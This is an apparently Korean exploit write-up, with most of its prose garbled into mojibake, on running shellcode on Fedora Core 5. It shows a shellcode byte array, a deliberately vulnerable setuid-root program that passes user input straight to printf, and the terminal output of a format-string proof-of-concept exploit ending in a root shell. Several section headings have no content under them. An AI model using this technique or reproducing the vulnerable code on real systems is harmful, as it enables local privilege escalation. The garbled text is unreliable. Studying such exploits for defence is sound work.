ºÎÁ¦: ¿©ÀüÈ÷ shellcodeÀÇ ½ÇÇàÀº °¡´ÉÇß´Ù! ÀÛ¼ºÀÚ: À¯µ¿ÈÆ - Xpl017Elz <szoahc@hotmail.com> http://x82.inetcop.org
Overview |
¹«¾ùÀÌ ¹®Á¦Àΰ¡? |
[º¸±â: ÇÁ·Î¼¼½º ¸Þ¸ð¸® ¸Ê]
¾î¶² »çÇ×ÀÌ º¯°æµÇ¾ú´ÂÁö »ìÆìº¸±â À§ÇØ, Fedora Core 3 ½Ã½ºÅÛ ³»¿¡¼ testÇß´ø shellcode Äڵ带 ±×´ë·Î ¹Þ¾Æ¿Í¼
½ÇÇàÇØº¸¾Ò½À´Ï´Ù.
[x82@fc5 ~]$ cat > write.c
char write[]={
0xeb,0x17,0x5e,0x31,0xc0,0xb0,0x04,0x31,
0xdb,0xb3,0x01,0x89,0xf1,0x31,0xd2,0xb2,
0x0b,0xcd,0x80,0x31,0xc0,0xb0,0x01,0xcd,
0x80,0xe8,0xe4,0xff,0xff,0xff,0x58,0x70,
0x6c,0x30,0x31,0x37,0x45,0x6c,0x7a,0x0a
};
int main(){
void (*funx)()=(void *)write;
printf("funx(): %p\n",funx);
funx();
}
[x82@fc5 ~]$ gcc -o write write.c
write.c: In function ?ain?
write.c:10: warning: incompatible implicit declaration of built-in function ?rintf?
[x82@fc5 ~]$ gdb -q write
(gdb) r
Starting program: /home/x82/write
Reading symbols from shared object read from target memory...(no debugging symbo
ls found)...done.
Loaded system supplied DSO at 0xc52000
(no debugging symbols found)
(no debugging symbols found)
funx(): 0x80495c0
Program received signal SIGSEGV, Segmentation fault.
0x080483d2 in main ()
(gdb) x/x 0x80495c0
0x80495c0 |
¹®Á¦ÀÇ ÇØ°áÃ¥ |
[º¸±â: ȯ°æ º¯¼ö stack ³»¿ë]
°¢ ȯ°æ º¯¼ö´Â Ç×»ó µÞ ºÎºÐ¿¡ NULLÀ» ºÙ¿©ÁÖ¾î ±¸ºÐÇϱ⠶§¹®¿¡ ¿ì¸®°¡ ¿øÇÏ´Â ÁÖ¼Ò°ª retlocÀ» ÀÔ·ÂÇϱ⿣ ÃæºÐÇÑ
¿©°ÇÀÔ´Ï´Ù. ¶ÇÇÑ, ÇÁ·Î±×·¥ÀÇ ÀÎÀÚ ¿ª½Ã ÀÌ¿Í µ¿ÀÏÇÑ ±¸Á¶¸¦ °¡Áö°í ÀÖ½À´Ï´Ù.
--
argv[0] argv[1] argv[2] argv[3] ...
[XXXX][\0][XXXX][\0][XXXX][\0][XXXX][\0] ...
--
[º¸±â: ÇÁ·Î±×·¥ ÀÎÀÚ stack ³»¿ë]
ÇÁ·Î±×·¥ÀÇ ÀÎÀÚ °ªÀ» ÀÌ¿ëÇÑ ¹æ¹ý ¿ª½Ã, °¢ ÀÎÀÚ°ªÀÇ µÞ ºÎºÐ¿¡ NULLÀÌ µé¾î°¡±â ¶§¹®¿¡ $-flag¸¦ ÀÌ¿ëÇØ ÀÎÀÚ °ªÀÌ
À§Ä¡Çϰí ÀÖ´Â stack À§Ä¡¸¦ ¿¹ÃøÇÒ °æ¿ì, °ø°ÝÀ» ¼º°ø½Ãų ¼ö ÀÖ½À´Ï´Ù.
°ø°Ý ½Ã³ª¸®¿À ±¸¼º |
°ø°Ý °á°ú |
[x82@fc5 shellcode_ex]$ cat printf.c
#include <stdio.h>
int main(int argc,char *argv[])
{
char ppp[4096];
strncpy(ppp,argv[1],sizeof(ppp)-1);
printf(ppp);
}
[x82@fc5 shellcode_ex]$ ls -al printf
-rwsr-xr-x 1 root root 4805 May 20 22:18 printf
[x82@fc5 shellcode_ex]$ id
uid=500(x82) gid=500(x82) groups=500(x82) context=root:system_r:unconfined_t:SystemLow-SystemHigh
[x82@fc5 shellcode_ex]$ ./part_one ./printf
--
Fedora Core Linux 4,5 based shellcode format string POC exploit
exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
--
Start exploit part #1
find stack...
gap: 5
find exploit arguments...
### ### ### ### ### ### ### ### ### ### ### ### ### ###
$-flag: 1835, align: 2, ret $-flag: 5
Start exploit part #2
Input Any key...
...
...
...
...
...
sh-3.1# id
uid=0(root) gid=500(x82) groups=500(x82) context=root:system_r:unconfined_t:SystemLow-SystemHigh
sh-3.1#
|
³¡ ¸ÎÀ½ |
Âü°íÇÑ ·¹ÆÛ·±½º |